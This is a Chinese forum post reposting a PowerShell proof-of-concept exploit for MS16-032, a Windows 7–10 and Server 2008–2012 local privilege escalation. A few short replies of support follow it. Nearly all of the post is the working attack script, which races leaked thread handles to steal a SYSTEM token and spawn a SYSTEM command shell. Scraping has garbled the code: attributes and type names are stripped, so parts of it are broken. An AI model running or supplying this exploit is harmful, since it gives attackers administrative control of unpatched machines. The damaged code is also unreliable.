Microsoft Windows 7-10 & Server 2008-2012本地提升(POC)
本帖最后由 adminhs 于 2016-4-22 22:44 编辑function Invoke-MS16-032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
Targets:
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
* Tested on x32 Win7, x64 Win8, x64 2k12R2
Notes:
* In order for the race condition to succeed the machine must have 2+ CPU
cores. If testing in a VM just make sure to add a core if needed mkay.
* The exploit is pretty reliable, however ~1/6 times it will say it succeeded
but not spawn a shell. Not sure what the issue is but just re-run and profit!
* Want to know more about MS16-032 ==>
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736
.EXAMPLE
C:\PS> Invoke-MS16-032
#>
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
refSTARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
public static extern uint GetLastError();
public static extern IntPtr GetCurrentProcess();
public static extern IntPtr GetCurrentThread();
public static extern int GetThreadId(IntPtr hThread);
public static extern int GetProcessIdOfThread(IntPtr handle);
public static extern int SuspendThread(IntPtr hThread);
public static extern int ResumeThread(IntPtr hThread);
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
public static extern bool CloseHandle(IntPtr hObject);
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
"@
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = ::GetCurrentThread()
$StartupInfo.hStdOutput = ::GetCurrentThread()
$StartupInfo.hStdError = ::GetCurrentThread()
$StartupInfo.cb = ::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = ::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\cmd.exe", "",
0x00000004, $null, $GetCurrentPath,
$StartupInfo, $ProcessInfo)
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = ::Zero
$CallResult = ::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
::GetCurrentProcess(),
$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = ::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = ::CloseHandle($ProcessInfo.hProcess)
$CallResult = ::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Trying thread handle: $Thread"
echo "[?] Thread belongs to: $($(Get-Process -PID $(::GetProcessIdOfThread($Thread))).ProcessName)"
$CallResult = ::SuspendThread($Thread)
if ($CallResult -ne 0) {
echo "[!] $Thread is a bad thread, moving on.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = ::SetThreadToken($Thread, ::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, moving on.."
$CallResult = ::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = ::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = ::NtImpersonateThread($Thread, $Thread, $sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, moving on.."
$CallResult = ::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
$script:SysTokenHandle = ::Zero
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
$CallResult = ::OpenThreadToken($Thread, 0x0006, $false, $SysTokenHandle)
if (!$CallResult) {
echo "[!] OpenThreadToken failed, moving on.."
$CallResult = ::ResumeThread($Thread)
echo "[+] Thread resumed!"
Return
}
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
echo "[+] Resuming thread.."
$CallResult = ::ResumeThread($Thread)
}
# main() <--- ;)
$ms16032 = @"
__ __ ___ ___ ___ ___ ___ ___
|V|_|_| |_|___| |_|_|
| |_|_| |_| . |___| | |_|_|
|_|_|_|___|_____|___| |___|___|___|
"@
$ms16032
# Check logical processor count, race condition requires 2+
echo "`n[?] Operating system core count: $(::ProcessorCount)"
if ($(::ProcessorCount) -lt 2) {
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
# Create array for Threads & TID's
$ThreadArray = @()
$TidArray = @()
echo "[>] Duplicating CreateProcessWithLogonW handles.."
# Loop Get-ThreadHandle and collect thread handles with a valid TID
for ($i=0; $i -lt 500; $i++) {
$hThread = Get-ThreadHandle
$hThreadID = ::GetThreadId($hThread)
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
if ($TidArray -notcontains $hThreadID) {
$TidArray += $hThreadID
if ($hThread -ne 0) {
$ThreadArray += $hThread # This is what we need!
}
}
}
if ($($ThreadArray.length) -eq 0) {
echo "[!] No valid thread handles were captured, exiting!"
Return
} else {
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
echo "`n[?] Thread handle list:"
$ThreadArray
}
echo "`n[*] Sniffing out privileged impersonation token.."
foreach ($Thread in $ThreadArray){
# Get handle to SYSTEM access token
Get-SystemToken
echo "`n[*] Sniffing out SYSTEM shell.."
echo "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = ::Zero
$CallResult = ::DuplicateToken($SysTokenHandle, 2, $hDuplicateTokenHandle)
# Simple PS runspace definition
echo "[>] Starting token race"
$Runspace = ::CreateRunspace()
$StartTokenRace = ::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
$StartTokenRace.AddScript({
Param ($Thread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = ::SetThreadToken($Thread, $hDuplicateTokenHandle)
}
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
echo "[>] Starting process race"
# Adding a timeout (10 seconds) here to safeguard from edge-cases
$SafeGuard = ::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.cb = ::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = ::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\cmd.exe", "",
0x00000004, $null, $GetCurrentPath,
$StartupInfo, $ProcessInfo)
$hTokenHandle = ::Zero
$CallResult = ::OpenProcessToken($ProcessInfo.hProcess, 0x28, $hTokenHandle)
# If we can't open the process token it's a SYSTEM shell!
if (!$CallResult) {
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = ::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
Return
}
# Clean up suspended process
$CallResult = ::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = ::CloseHandle($ProcessInfo.hProcess)
$CallResult = ::CloseHandle($ProcessInfo.hThread)
}
# Kill runspace & stopwatch if edge-case
$StartTokenRace.Stop()
$SafeGuard.Stop()
}
} 支持下,看看了 支持一下,:handshake 支持,看起来还是可以的 支持,看起来还是可以的 支持,看起来还是可以的 我是来水经验的…… 支持,看起来还是可以的
页:
[1]